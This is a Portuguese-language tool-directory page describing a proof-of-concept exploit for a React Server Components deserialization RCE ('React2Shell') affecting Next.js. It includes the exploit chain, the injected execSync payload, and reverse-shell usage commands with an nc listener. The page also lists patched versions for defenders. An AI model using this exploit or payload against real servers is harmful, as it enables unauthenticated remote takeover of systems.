Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-66478-PoC-Reverse-Shell — Prova de conceito de exploit para CVE-2025-55182/66478, uma RCE por desserialização de React Server Components, que entrega uma reverse shell por meio de uma requisição multipart elaborada. | Kitploit
Ferramentas/GitHubGitHub/jotaespig/cve-2025-66478-poc-reverse-shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubjotaespig/cve-2025-66478-poc-reverse-shell

CVE-2025-66478-PoC-Reverse-Shell

Prova de conceito de exploit para CVE-2025-55182/66478, uma RCE por desserialização de React Server Components, que entrega uma reverse shell por meio de uma requisição multipart elaborada.

Ver Repositório
16há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-66478 / CVE-2025-55182 ("React2Shell") — PoC de RCE por Desserialização de Server Actions do RSC

Prova de conceito de exploração para CVE-2025-55182 — apelidada publicamente de "React2Shell" — uma vulnerabilidade de poluição de protótipo no lado do servidor na desserialização de Server Actions dos React Server Components (react-server-dom-webpack / -parcel / -turbopack), que o Next.js rastreou sob o ID CVE-2025-66478 (rejeitada pela NVD como duplicada, mas ainda assim o identificador comumente usado ao discutir o impacto do bug especificamente no Next.js).

Uma única requisição HTTP multipart elaborada polui Object.prototype e percorre a cadeia de protótipos até alcançar o construtor Function, permitindo que um atacante não autenticado execute código Node.js arbitrário no processo do servidor — CVSS 10/10.

Detalhes da vulnerabilidade

Causa raiz. O desserializador de resposta de ação do RSC (requireModule) resolve caminhos de objetos enviados pelo cliente (ex.: "$1:__proto__:then") sem validar se a chave alvo não é uma chave reservada/perigosa como __proto__. Definir __proto__ em um objeto simples polui o próprio Object.prototype, então todo objeto criado posteriormente herda a propriedade controlada pelo atacante.

Cadeia de exploração.

  1. then → "$1:__proto__:then" — alcança a cadeia de protótipos.
  2. _response._formData.get → "$1:constructor:constructor" — percorre do protótipo poluído até o construtor Function.
  3. _response._prefix — string controlada pelo atacante, inserida no código que é executado quando o servidor tenta resolver o "thenable" fabricado (um objeto falso semelhante a Promise). Este PoC a define como process.mainModule.require('child_process').execSync('<cmd>').
  4. O payload é enviado como dois campos multipart (0, 1) em um POST para a raiz do aplicativo com um cabeçalho Next-Action, que roteia a requisição diretamente para o manipulador vulnerável de Server Actions.

Versões afetadas (conforme o artigo da Datadog):

BibliotecaVulnerávelCorrigida
react-server-dom-parcel19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1

O Next.js é afetado nas versões 15.x, 16.x e 14.3.0-canary.77+ ao usar o App Router. Corrigido nas versões 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 e 16.0.7.

Aviso legal

Apenas para testes de segurança autorizados e uso educacional (ex.: laboratórios CTF/HTB, sua própria infraestrutura ou engajamentos com autorização por escrito). Não execute isso contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.

Requisitos

  • curl
  • bash
  • Um listener na máquina do atacante (ex.: nc -lvnp <porta>) a menos que você forneça seu próprio comando via -c
  • O alvo deve executar busybox nc (ou ajuste -c para qualquer utilitário de shell disponível no alvo) para que o comando padrão de reverse shell funcione

Uso

root@kitploit:~
chmod +x exploit.sh
./exploit.sh -t <alvo> -L <porta_local> [opções]
FlagObrigatórioDescrição
-t, --targetsimHost/IP do alvo executando o aplicativo Next.js vulnerável
-L, --lportsim*Porta local à qual seu listener está vinculado
-p, --portnãoPorta do alvo (padrão: 3000)
-l, --lhostnãoSeu IP para o callback (padrão: detectado automaticamente)
-i, --ifacenãoInterface para detectar automaticamente o --lhost
-c, --commandnãoComando personalizado para executar no alvo (substitui o reverse shell padrão)
--timeoutnãoTempo limite da requisição curl em segundos (padrão: 3)
-v, --verbosenãoExibe detalhes da requisição/resposta
-h, --helpnãoMostra a ajuda

* não obrigatório se -c/--command for fornecido em seu lugar.

Exemplo

root@kitploit:~
# 1) inicie um listener
rlwrap nc -lvnp 9090

# 2) acione o exploit
./exploit.sh -t 10.129.245.214 -L 9090

Referências

  • CVE-2025-55182 "React2Shell": Remote Code Execution in React Server Components — Datadog Security Labs
Baixar ferramenta